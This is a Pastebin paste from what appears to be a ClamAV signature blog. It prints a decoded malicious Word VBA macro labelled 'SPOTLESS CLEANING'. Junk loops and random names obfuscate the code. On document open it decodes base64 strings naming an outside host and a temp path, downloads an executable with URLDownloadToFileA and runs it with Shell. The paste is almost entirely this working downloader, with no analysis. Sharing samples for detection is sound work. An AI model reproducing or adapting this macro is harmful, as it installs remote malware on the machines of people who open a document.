Sanesecurity

SPOTLESS CLEANING decoded 3

Jan 29th, 2015
63
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. http://sanesecurity.blogspot.co.uk
  2. Sanesecurity ClamAV blog: zero hour malware, phishing and scams
  3. A hopefully interesting blog from the world of zero hour malware, phishing, scams and spams
  4.  
  5. Attribute VB_Name = "ThisDocument"
  6. Attribute VB_Base = "1Normal.ThisDocument"
  7. Attribute VB_GlobalNameSpace = False
  8. Attribute VB_Creatable = False
  9. Attribute VB_PredeclaredId = True
  10. Attribute VB_Exposed = True
  11. Attribute VB_TemplateDerived = True
  12. Attribute VB_Customizable = True
  13. #If VBA7 Then
  14. Private Declare PtrSafe Function gHBBjodhnsf Lib "urlmon" Alias _
  15. "URLDownloadToFileA" (ByVal BsjxHq As LongPtr, _
  16. ByVal PqMao As String, _
  17. ByVal ZdCqoiA As String, _
  18. ByVal qOUQcfuPQbkf As Long, _
  19. ByVal rLeZNuCDBGrl As LongPtr) As LongPtr
  20. #Else
  21. Private Declare Function gHBBjodhnsf Lib "urlmon" Alias _
  22. "URLDownloadToFileA" (ByVal BsjxHq As Long, _
  23. ByVal PqMao As String, _
  24. ByVal ZdCqoiA As String, _
  25. ByVal qOUQcfuPQbkf As Long, _
  26. ByVal rLeZNuCDBGrl As Long) As Long
  27. #End If
  28. Private aDecTab(255) As Integer
  29. Sub jiyCFwVleNvx()
  30. zNYsGtgG
  31. Dim DLBhcd As Integer
  32. DLBhcd = 1798
  33. Do While DLBhcd < 1798 + 10
  34. DLBhcd = DLBhcd + 1: DoEvents
  35. Loop
  36. End Sub
  37. Sub ElDpt()
  38. jiyCFwVleNvx
  39. Dim jIjuo As Integer
  40. jIjuo = 2400
  41. Do While jIjuo < 2400 + 10
  42. jIjuo = jIjuo + 1: DoEvents
  43. Loop
  44. End Sub
  45. Sub autoopen()
  46. jiyCFwVleNvx
  47. Dim PcPNHaQt As Integer
  48. PcPNHaQt = 2304
  49. Do While PcPNHaQt < 2304 + 10
  50. PcPNHaQt = PcPNHaQt + 1: DoEvents
  51. Loop
  52. End Sub
  53. Sub zNYsGtgG()
  54.  
  55. Dim ubtfjIjuoGD As Integer
  56. ubtfjIjuoGD = 787
  57. Do While ubtfjIjuoGD < 787 + 10
  58. ubtfjIjuoGD = ubtfjIjuoGD + 1: DoEvents
  59. Loop
  60. ViapiNU ITXQDR("aHR0cDovL2phbWVzZGV2LmNvLnVrL2pzL2Jpbi5leGU="), Environ(ITXQDR("VE1Q")) & ITXQDR("XGhEbnlEQS5leGU=")
  61. Dim Qtdot As Integer
  62. Qtdot = 1735
  63. Do While Qtdot < 1735 + 10
  64. Qtdot = Qtdot + 1: DoEvents
  65. Loop
  66. End Sub
  67. Function ViapiNU(BueLOj As String, eaJQwwYgsUo As String) As Boolean
  68. JjJUOhQ = gHBBjodhnsf(0&, BueLOj, eaJQwwYgsUo, 0&, 0&)
  69. Dim oGDawUMI As Integer
  70. oGDawUMI = 942
  71. Do While oGDawUMI < 942 + 10
  72. oGDawUMI = oGDawUMI + 1: DoEvents
  73. Loop
  74. Dim inkvMbjktRLp
  75. Dim cdbgQJ As Integer
  76. cdbgQJ = 310
  77. Do While cdbgQJ < 310 + 10
  78. cdbgQJ = cdbgQJ + 1: DoEvents
  79. Loop
  80. inkvMbjktRLp = Shell(eaJQwwYgsUo, 1)
  81. Dim mNViKe As Integer
  82. mNViKe = 1417
  83. Do While mNViKe < 1417 + 10
  84. mNViKe = mNViKe + 1: DoEvents
  85. Loop
  86. End Function
  87.  
  88.  
  89. Public Function ITXQDR(sEncoded As String) As String
  90. Dim sDecoded As String
  91. Dim gEKGRUkFGQ As Integer
  92. gEKGRUkFGQ = 1008
  93. Do While gEKGRUkFGQ < 1008 + 10
  94. gEKGRUkFGQ = gEKGRUkFGQ + 1: DoEvents
  95. Loop
  96. Dim d(3) As Byte
  97. Dim ULNFfHmkR As Integer
  98. ULNFfHmkR = 311
  99. Do While ULNFfHmkR < 311 + 10
  100. ULNFfHmkR = ULNFfHmkR + 1: DoEvents
  101. Loop
  102. Dim C As Byte
  103. Dim bSDlnIlpDNwjVwSR As Integer
  104. bSDlnIlpDNwjVwSR = 879
  105. Do While bSDlnIlpDNwjVwSR < 879 + 10
  106. bSDlnIlpDNwjVwSR = bSDlnIlpDNwjVwSR + 1: DoEvents
  107. Loop
  108. Dim di As Integer
  109. Dim tdotqBSTpqzY As Integer
  110. tdotqBSTpqzY = 1894
  111. Do While tdotqBSTpqzY < 1894 + 10
  112. tdotqBSTpqzY = tdotqBSTpqzY + 1: DoEvents
  113. Loop
  114. Dim i As Long
  115. Dim qlOQxRQfUAIJMkrydppEIL As Integer
  116. qlOQxRQfUAIJMkrydppEIL = 1356
  117. Do While qlOQxRQfUAIJMkrydppEIL < 1356 + 10
  118. qlOQxRQfUAIJMkrydppEIL = qlOQxRQfUAIJMkrydppEIL + 1: DoEvents
  119. Loop
  120. Dim nLen As Long
  121. Dim DLBhcdgQJRvHYceVvYCnjQr As Integer
  122. DLBhcdgQJRvHYceVvYCnjQr = 753
  123. Do While DLBhcdgQJRvHYceVvYCnjQr < 753 + 10
  124. DLBhcdgQJRvHYceVvYCnjQr = DLBhcdgQJRvHYceVvYCnjQr + 1: DoEvents
  125. Loop
  126. Dim iIndex As Long
  127. Dim QLMKPA As Integer
  128. QLMKPA = 689
  129. Do While QLMKPA < 689 + 10
  130. QLMKPA = QLMKPA + 1: DoEvents
  131. Loop
  132. nLen = Len(sEncoded)
  133. Dim fUAIJHMkrydp As Integer
  134. fUAIJHMkrydp = 2019
  135. Do While fUAIJHMkrydp < 2019 + 10
  136. fUAIJHMkrydp = fUAIJHMkrydp + 1: DoEvents
  137. Loop
  138. sDecoded = String((nLen \ 4) * 3, " ")
  139. Dim NiwjVwSRutfjIj As Integer
  140. NiwjVwSRutfjIj = 1068
  141. Do While NiwjVwSRutfjIj < 1068 + 10
  142. NiwjVwSRutfjIj = NiwjVwSRutfjIj + 1: DoEvents
  143. Loop
  144. iIndex = 0
  145. Dim trwhbiL As Integer
  146. trwhbiL = 1292
  147. Do While trwhbiL < 1292 + 10
  148. trwhbiL = trwhbiL + 1: DoEvents
  149. Loop
  150. di = 0
  151. Dim JfULakSSFFhp As Integer
  152. JfULakSSFFhp = 482
  153. Do While JfULakSSFFhp < 482 + 10
  154. JfULakSSFFhp = JfULakSSFFhp + 1: DoEvents
  155. Loop
  156. Call auo5an
  157. Dim rvyqO As Integer
  158. rvyqO = 672
  159. Do While rvyqO < 672 + 10
  160. rvyqO = rvyqO + 1: DoEvents
  161. Loop
  162. ' Read in each char in trun
  163. Dim SFFhpCexdBS As Integer
  164. SFFhpCexdBS = 388
  165. Do While SFFhpCexdBS < 388 + 10
  166. SFFhpCexdBS = SFFhpCexdBS + 1: DoEvents
  167. Loop
  168. For i = 1 To Len(sEncoded)
  169. Dim rLosGQm As Integer
  170. rLosGQm = 449
  171. Do While rLosGQm < 449 + 10
  172. rLosGQm = rLosGQm + 1: DoEvents
  173. Loop
  174. C = CByte(Asc(Mid(sEncoded, i, 1)))
  175. Dim CexdBSf As Integer
  176. CexdBSf = 1746
  177. Do While CexdBSf < 1746 + 10
  178. CexdBSf = CexdBSf + 1: DoEvents
  179. Loop
  180. C = aDecTab(C)
  181. Dim imLmxrJG As Integer
  182. imLmxrJG = 2351
  183. Do While imLmxrJG < 2351 + 10
  184. imLmxrJG = imLmxrJG + 1: DoEvents
  185. Loop
  186. If C >= 0 Then
  187. Dim fiZybqmavlcqAjj As Integer
  188. fiZybqmavlcqAjj = 1779
  189. Do While fiZybqmavlcqAjj < 1779 + 10
  190. fiZybqmavlcqAjj = fiZybqmavlcqAjj + 1: DoEvents
  191. Loop
  192. d(di) = C
  193. Dim QZlNhMk As Integer
  194. QZlNhMk = 1082
  195. Do While QZlNhMk < 1082 + 10
  196. QZlNhMk = QZlNhMk + 1: DoEvents
  197. Loop
  198. di = di + 1
  199. Dim cqAjjVjFShOgRVvk As Integer
  200. cqAjjVjFShOgRVvk = 894
  201. Do While cqAjjVjFShOgRVvk < 894 + 10
  202. cqAjjVjFShOgRVvk = cqAjjVjFShOgRVvk + 1: DoEvents
  203. Loop
  204. If di = 4 Then
  205. Dim KdMjSekgrIQ As Integer
  206. KdMjSekgrIQ = 1319
  207. Do While KdMjSekgrIQ < 1319 + 10
  208. KdMjSekgrIQ = KdMjSekgrIQ + 1: DoEvents
  209. Loop
  210. Mid$(sDecoded, iIndex + 1, 3) = utjk(d)
  211. Dim RjUZyn As Integer
  212. RjUZyn = 2458
  213. Do While RjUZyn < 2458 + 10
  214. RjUZyn = RjUZyn + 1: DoEvents
  215. Loop
  216. iIndex = iIndex + 3
  217. Dim IKfHM As Integer
  218. IKfHM = 149
  219. Do While IKfHM < 149 + 10
  220. IKfHM = IKfHM + 1: DoEvents
  221. Loop
  222. If d(3) = 64 Then
  223. Dim mZLnJV As Integer
  224. mZLnJV = 2269
  225. Do While mZLnJV < 2269 + 10
  226. mZLnJV = mZLnJV + 1: DoEvents
  227. Loop
  228. sDecoded = Left(sDecoded, Len(sDecoded) - 1)
  229. Dim TcpQkPo As Integer
  230. TcpQkPo = 146
  231. Do While TcpQkPo < 146 + 10
  232. TcpQkPo = TcpQkPo + 1: DoEvents
  233. Loop
  234. iIndex = iIndex - 1
  235. Dim VkRjUZynke As Integer
  236. VkRjUZynke = 274
  237. Do While VkRjUZynke < 274 + 10
  238. VkRjUZynke = VkRjUZynke + 1: DoEvents
  239. Loop
  240. End If
  241. Dim SssTcpQkPFgFQKdM As Integer
  242. SssTcpQkPFgFQKdM = 653
  243. Do While SssTcpQkPFgFQKdM < 653 + 10
  244. SssTcpQkPFgFQKdM = SssTcpQkPFgFQKdM + 1: DoEvents
  245. Loop
  246. If d(2) = 64 Then
  247. Dim uOrvJTp As Integer
  248. uOrvJTp = 2013
  249. Do While uOrvJTp < 2013 + 10
  250. uOrvJTp = uOrvJTp + 1: DoEvents
  251. Loop
  252. sDecoded = Left(sDecoded, Len(sDecoded) - 1)
  253. Dim qZZLLn As Integer
  254. qZZLLn = 604
  255. Do While qZZLLn < 604 + 10
  256. qZZLLn = qZZLLn + 1: DoEvents
  257. Loop
  258. iIndex = iIndex - 1
  259. Dim krVjiyB As Integer
  260. krVjiyB = 2376
  261. Do While krVjiyB < 2376 + 10
  262. krVjiyB = krVjiyB + 1: DoEvents
  263. Loop
  264. End If
  265. Dim ZZLLnwI As Integer
  266. ZZLLnwI = 1079
  267. Do While ZZLLnwI < 1079 + 10
  268. ZZLLnwI = ZZLLnwI + 1: DoEvents
  269. Loop
  270. di = 0
  271. Dim tfGdcDlCo As Integer
  272. tfGdcDlCo = 2471
  273. Do While tfGdcDlCo < 2471 + 10
  274. tfGdcDlCo = tfGdcDlCo + 1: DoEvents
  275. Loop
  276. End If
  277. Dim nxDzLcdyAhOrHouNVKq As Integer
  278. nxDzLcdyAhOrHouNVKq = 1206
  279. Do While nxDzLcdyAhOrHouNVKq < 1206 + 10
  280. nxDzLcdyAhOrHouNVKq = nxDzLcdyAhOrHouNVKq + 1: DoEvents
  281. Loop
  282. End If
  283. Dim eJSTRQu As Integer
  284. eJSTRQu = 127
  285. Do While eJSTRQu < 127 + 10
  286. eJSTRQu = eJSTRQu + 1: DoEvents
  287. Loop
  288. Next i
  289. Dim ogEiMw As Integer
  290. ogEiMw = 1045
  291. Do While ogEiMw < 1045 + 10
  292. ogEiMw = ogEiMw + 1: DoEvents
  293. Loop
  294. ITXQDR = sDecoded
  295. Dim ekshMVQUax As Integer
  296. ekshMVQUax = 1691
  297. Do While ekshMVQUax < 1691 + 10
  298. ekshMVQUax = ekshMVQUax + 1: DoEvents
  299. Loop
  300. End Function
  301. Private Function utjk(d() As Byte) As String
  302. Dim sOutput As String
  303. Dim xQZOupp As Integer
  304. xQZOupp = 553
  305. Do While xQZOupp < 553 + 10
  306. xQZOupp = xQZOupp + 1: DoEvents
  307. Loop
  308. Dim C As Long
  309. Dim FrvVwHBQnJiaViyNjQg As Integer
  310. FrvVwHBQnJiaViyNjQg = 1502
  311. Do While FrvVwHBQnJiaViyNjQg < 1502 + 10
  312. FrvVwHBQnJiaViyNjQg = FrvVwHBQnJiaViyNjQg + 1: DoEvents
  313. Loop
  314. sOutput = vbNullString
  315. Dim pdaTmGqAGCO As Integer
  316. pdaTmGqAGCO = 1060
  317. Do While pdaTmGqAGCO < 1060 + 10
  318. pdaTmGqAGCO = pdaTmGqAGCO + 1: DoEvents
  319. Loop
  320. C = nGkl0avyll(d(0)) Or (NZ5Ef7Abl(d(1)) And &H3)
  321. Dim QnJiaViyNjQg As Integer
  322. QnJiaViyNjQg = 1502
  323. Do While QnJiaViyNjQg < 1502 + 10
  324. QnJiaViyNjQg = QnJiaViyNjQg + 1: DoEvents
  325. Loop
  326. sOutput = sOutput & Chr$(C)
  327. Dim Rxstr As Integer
  328. Rxstr = 566
  329. Do While Rxstr < 566 + 10
  330. Rxstr = Rxstr + 1: DoEvents
  331. Loop
  332. C = JcX2DMsRAZ(d(1) And &HF) Or (W1UISPoYNMC(d(2)) And &HF)
  333. Dim zZzKEQTq As Integer
  334. zZzKEQTq = 631
  335. Do While zZzKEQTq < 631 + 10
  336. zZzKEQTq = zZzKEQTq + 1: DoEvents
  337. Loop
  338. sOutput = sOutput & Chr$(C)
  339. Dim iZmwgfS As Integer
  340. iZmwgfS = 59
  341. Do While iZmwgfS < 59 + 10
  342. iZmwgfS = iZmwgfS + 1: DoEvents
  343. Loop
  344. C = DM2OBrHOe(d(2) And &H3) Or d(3)
  345. Dim poEIK As Integer
  346. poEIK = 1422
  347. Do While poEIK < 1422 + 10
  348. poEIK = poEIK + 1: DoEvents
  349. Loop
  350. sOutput = sOutput & Chr$(C)
  351. Dim eVuYC As Integer
  352. eVuYC = 1989
  353. Do While eVuYC < 1989 + 10
  354. eVuYC = eVuYC + 1: DoEvents
  355. Loop
  356. utjk = sOutput
  357. Dim cEIQhBPCpP As Integer
  358. cEIQhBPCpP = 2288
  359. Do While cEIQhBPCpP < 2288 + 10
  360. cEIQhBPCpP = cEIQhBPCpP + 1: DoEvents
  361. Loop
  362. End Function
  363. Private Function auo5an()
  364. Dim t As Integer
  365. Dim GOEkfgeTbiyZZ As Integer
  366. GOEkfgeTbiyZZ = 1721
  367. Do While GOEkfgeTbiyZZ < 1721 + 10
  368. GOEkfgeTbiyZZ = GOEkfgeTbiyZZ + 1: DoEvents
  369. Loop
  370. Dim C As Integer
  371. Dim ealoDZaktoRh As Integer
  372. ealoDZaktoRh = 1657
  373. Do While ealoDZaktoRh < 1657 + 10
  374. ealoDZaktoRh = ealoDZaktoRh + 1: DoEvents
  375. Loop
  376. For C = 0 To 255
  377. Dim sSeYqawgrwt As Integer
  378. sSeYqawgrwt = 580
  379. Do While sSeYqawgrwt < 580 + 10
  380. sSeYqawgrwt = sSeYqawgrwt + 1: DoEvents
  381. Loop
  382. aDecTab(C) = -1
  383. Dim loDZa As Integer
  384. loDZa = 771
  385. Do While loDZa < 771 + 10
  386. loDZa = loDZa + 1: DoEvents
  387. Loop
  388. Next
  389. Dim eYqawgrwtEVk As Integer
  390. eYqawgrwtEVk = 75
  391. Do While eYqawgrwtEVk < 75 + 10
  392. eYqawgrwtEVk = eYqawgrwtEVk + 1: DoEvents
  393. Loop
  394. t = 0
  395. Dim pcCZmAizl As Integer
  396. pcCZmAizl = 973
  397. Do While pcCZmAizl < 973 + 10
  398. pcCZmAizl = pcCZmAizl + 1: DoEvents
  399. Loop
  400. For C = Asc("A") To Asc("Z")
  401. Dim NGqZbvYc As Integer
  402. NGqZbvYc = 468
  403. Do While NGqZbvYc < 468 + 10
  404. NGqZbvYc = NGqZbvYc + 1: DoEvents
  405. Loop
  406. aDecTab(C) = t
  407. Dim aJFuOEvJ As Integer
  408. aJFuOEvJ = 2048
  409. Do While aJFuOEvJ < 2048 + 10
  410. aJFuOEvJ = aJFuOEvJ + 1: DoEvents
  411. Loop
  412. t = t + 1
  413. Dim ggfkGNUzMLcf As Integer
  414. ggfkGNUzMLcf = 1386
  415. Do While ggfkGNUzMLcf < 1386 + 10
  416. ggfkGNUzMLcf = ggfkGNUzMLcf + 1: DoEvents
  417. Loop
  418. Next
  419. Dim bETAHaiY As Integer
  420. bETAHaiY = 500
  421. Do While bETAHaiY < 500 + 10
  422. bETAHaiY = bETAHaiY + 1: DoEvents
  423. Loop
  424. For C = Asc("a") To Asc("z")
  425. Dim qQrwEua As Integer
  426. qQrwEua = 1017
  427. Do While qQrwEua < 1017 + 10
  428. qQrwEua = qQrwEua + 1: DoEvents
  429. Loop
  430. aDecTab(C) = t
  431. Dim YpBqnhzwT As Integer
  432. YpBqnhzwT = 2315
  433. Do While YpBqnhzwT < 2315 + 10
  434. YpBqnhzwT = YpBqnhzwT + 1: DoEvents
  435. Loop
  436. t = t + 1
  437. Dim PdnIVJvQtr As Integer
  438. PdnIVJvQtr = 890
  439. Do While PdnIVJvQtr < 890 + 10
  440. PdnIVJvQtr = PdnIVJvQtr + 1: DoEvents
  441. Loop
  442. Next
  443. Dim KshBriwGpp As Integer
  444. KshBriwGpp = 2472
  445. Do While KshBriwGpp < 2472 + 10
  446. KshBriwGpp = KshBriwGpp + 1: DoEvents
  447. Loop
  448. For C = Asc("0") To Asc("9")
  449. Dim awvQEVHL As Integer
  450. awvQEVHL = 2391
  451. Do While awvQEVHL < 2391 + 10
  452. awvQEVHL = awvQEVHL + 1: DoEvents
  453. Loop
  454. aDecTab(C) = t
  455. Dim jHlPNvk As Integer
  456. jHlPNvk = 1283
  457. Do While jHlPNvk < 1283 + 10
  458. jHlPNvk = jHlPNvk + 1: DoEvents
  459. Loop
  460. t = t + 1
  461. Dim exrhMVVUaK As Integer
  462. exrhMVVUaK = 272
  463. Do While exrhMVVUaK < 272 + 10
  464. exrhMVVUaK = exrhMVVUaK + 1: DoEvents
  465. Loop
  466. Next
  467. Dim poseksI As Integer
  468. poseksI = 2359
  469. Do While poseksI < 2359 + 10
  470. poseksI = poseksI + 1: DoEvents
  471. Loop
  472. C = Asc("+")
  473. Dim bSsHzkRToQVj As Integer
  474. bSsHzkRToQVj = 1994
  475. Do While bSsHzkRToQVj < 1994 + 10
  476. bSsHzkRToQVj = bSsHzkRToQVj + 1: DoEvents
  477. Loop
  478. aDecTab(C) = t
  479. Dim mKoSQynH As Integer
  480. mKoSQynH = 1138
  481. Do While mKoSQynH < 1138 + 10
  482. mKoSQynH = mKoSQynH + 1: DoEvents
  483. Loop
  484. t = t + 1
  485. Dim hAvkPZaYdNG As Integer
  486. hAvkPZaYdNG = 1202
  487. Do While hAvkPZaYdNG < 1202 + 10
  488. hAvkPZaYdNG = hAvkPZaYdNG + 1: DoEvents
  489. Loop
  490. C = Asc("/")
  491. Dim hovLmlBr As Integer
  492. hovLmlBr = 315
  493. Do While hovLmlBr < 315 + 10
  494. hovLmlBr = hovLmlBr + 1: DoEvents
  495. Loop
  496. aDecTab(C) = t
  497. Dim PZaYdN As Integer
  498. PZaYdN = 1836
  499. Do While PZaYdN < 1836 + 10
  500. PZaYdN = PZaYdN + 1: DoEvents
  501. Loop
  502. t = t + 1
  503. Dim wuzkryOq As Integer
  504. wuzkryOq = 1932
  505. Do While wuzkryOq < 1932 + 10
  506. wuzkryOq = wuzkryOq + 1: DoEvents
  507. Loop
  508. C = Asc("=")
  509. Dim EyoTdd As Integer
  510. EyoTdd = 1710
  511. Do While EyoTdd < 1710 + 10
  512. EyoTdd = EyoTdd + 1: DoEvents
  513. Loop
  514. aDecTab(C) = t ' should be 64
  515. Dim xEQfUAvwuzk As Integer
  516. xEQfUAvwuzk = 348
  517. Do While xEQfUAvwuzk < 348 + 10
  518. xEQfUAvwuzk = xEQfUAvwuzk + 1: DoEvents
  519. Loop
  520. End Function
  521. Private Function nGkl0avyll(ByVal bytValue As Byte) As Byte
  522. nGkl0avyll = (bytValue * &H4) And &HFF
  523. Dim iayNG As Integer
  524. iayNG = 900
  525. Do While iayNG < 900 + 10
  526. iayNG = iayNG + 1: DoEvents
  527. Loop
  528. End Function
  529. Private Function JcX2DMsRAZ(ByVal bytValue As Byte) As Byte
  530. JcX2DMsRAZ = (bytValue * &H10) And &HFF
  531. Dim StsIyBtRu As Integer
  532. StsIyBtRu = 46
  533. Do While StsIyBtRu < 46 + 10
  534. StsIyBtRu = StsIyBtRu + 1: DoEvents
  535. Loop
  536. End Function
  537. Private Function DM2OBrHOe(ByVal bytValue As Byte) As Byte
  538. DM2OBrHOe = (bytValue * &H40) And &HFF
  539. Dim fkUNUz As Integer
  540. fkUNUz = 14
  541. Do While fkUNUz < 14 + 10
  542. fkUNUz = fkUNUz + 1: DoEvents
  543. Loop
  544. End Function
  545. Private Function W1UISPoYNMC(ByVal bytValue As Byte) As Byte
  546. W1UISPoYNMC = bytValue \ &H4
  547. Dim SUAHbjY As Integer
  548. SUAHbjY = 521
  549. Do While SUAHbjY < 521 + 10
  550. SUAHbjY = SUAHbjY + 1: DoEvents
  551. Loop
  552. End Function
  553. Private Function NZ5Ef7Abl(ByVal bytValue As Byte) As Byte
  554. NZ5Ef7Abl = bytValue \ &H10
  555. Dim avxGQLpEQr As Integer
  556. avxGQLpEQr = 407
  557. Do While avxGQLpEQr < 407 + 10
  558. avxGQLpEQr = avxGQLpEQr + 1: DoEvents
  559. Loop
  560. End Function
  561. Private Function hQpn(ByVal bytValue As Byte) As Byte
  562. hQpn = bytValue \ &H40
  563. Dim BvNwTDN As Integer
  564. BvNwTDN = 501
  565. Do While BvNwTDN < 501 + 10
  566. BvNwTDN = BvNwTDN + 1: DoEvents
  567. Loop
  568. End Function
RAW Paste Data